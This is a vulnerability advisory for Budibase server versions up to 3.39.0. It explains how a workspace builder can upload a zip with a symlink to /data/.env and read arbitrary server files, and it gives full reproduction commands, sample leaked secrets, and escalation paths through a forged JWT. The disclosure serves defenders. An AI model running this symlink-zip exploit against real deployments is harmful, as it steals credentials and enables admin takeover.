Budibase has arbitrary file read by workspace-builder via PWA-zip symlink upload
Description
Summary
POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.
extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.
packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.
Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.
Affected
Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).
Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.
Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.
Root cause
packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.
packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.
packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.
packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).
hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.
Reproduction
budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and ` token come from GET /api/global/self`.
- Builder uploads a zip containing one symlink entry that targets
/data/.env, plus anicons.jsonthat references the symlink.
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png
curl -s "http://localhost:10000/api/pwa/process-zip" \
-b cookies.txt \
-H "x-budibase-app-id: " \
-H "x-csrf-token: " \
-F "file=@attack.zip"
{"icons":[{"src":"/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
- Builder fetches the resulting "icon".
GET /api/assets//pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=; budibase:auth.sig=
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm
Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.
Impact
- Disclosure of
/data/.env:JWT_SECRET,INTERNAL_API_KEY,MINIO_ACCESS_KEY,MINIO_SECRET_KEY,REDIS_PASSWORD,COUCHDB_PASSWORD,LITELLM_MASTER_KEY,DATABASE_URL. - HS256 JWT forge with the leaked
JWT_SECRETagainst any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
- Disclosure of
/etc/passwdand/etc/shadowvia the same primitive when the container runs asroot(the shipped default).
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de).
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
@budibase/servernpm | < 3.39.9 | 3.39.9 |
Affected products
3- Range: <= 3.39.0
Patches
Vulnerability mechanics
Root cause
"The icon-path validator uses `path.resolve` and `fs.existsSync` (which follows symlinks) without rejecting symbolic-link entries, allowing a symlink stored under the base directory to point to an arbitrary file outside the intended directory."
Attack vector
An attacker with workspace-builder permission uploads a crafted `.zip` containing a symlink entry whose target is an arbitrary file (e.g., `/data/.env`) and an `icons.json` referencing that symlink. The server extracts the zip with `extract-zip@2.0.1`, which preserves absolute symlink targets [ref_id=1]. The icon validator at `packages/server/src/api/controllers/static/index.ts:259-268` checks the resolved path starts with the base directory and calls `fs.existsSync` (which follows symlinks), so the symlink passes validation [CWE-59]. The server then opens the resolved path with `fsp.open`, follows the symlink, and streams the target file's bytes into MinIO [CWE-22]. The attacker fetches the resulting object via `GET /api/assets/{appId}/pwa/{uuid}.png` to retrieve the file contents.
Affected code
The vulnerability spans three files. `packages/server/src/api/routes/static.ts:24` exposes `POST /api/pwa/process-zip` to any workspace builder. `packages/server/src/api/controllers/static/index.ts:259-268` validates icon paths using `path.resolve` and `fs.existsSync` (which follows symlinks) without rejecting symbolic-link entries. `packages/backend-core/src/objectStore/objectStore.ts:302` calls `fsp.open(path).createReadStream()`, which follows the symlink and streams the target file's bytes into MinIO.
What the fix does
The advisory does not include a patch diff, but the recommended fix is to reject symbolic-link entries during zip extraction or to resolve the final target of any symlink and verify it still falls under the intended base directory [ref_id=1]. The validator at `packages/server/src/api/controllers/static/index.ts:259-268` must be hardened to call `fs.lstatSync` (which does not follow symlinks) instead of `fs.existsSync`, and to reject any entry whose `lstat` indicates a symbolic link. Additionally, the `fsp.open` call in `objectStore.ts:302` should be replaced with a method that refuses to follow symlinks.
Preconditions
- authThe attacker must have a Budibase account with workspace-builder permission on at least one app.
- configThe server must be running the default Docker image where the Node process runs as root, making all root-readable files accessible.
- networkThe attacker must be able to reach the `POST /api/pwa/process-zip` endpoint over HTTP.
- inputThe attacker must upload a crafted `.zip` containing a symlink entry and a corresponding `icons.json`.
Generated on Jun 23, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.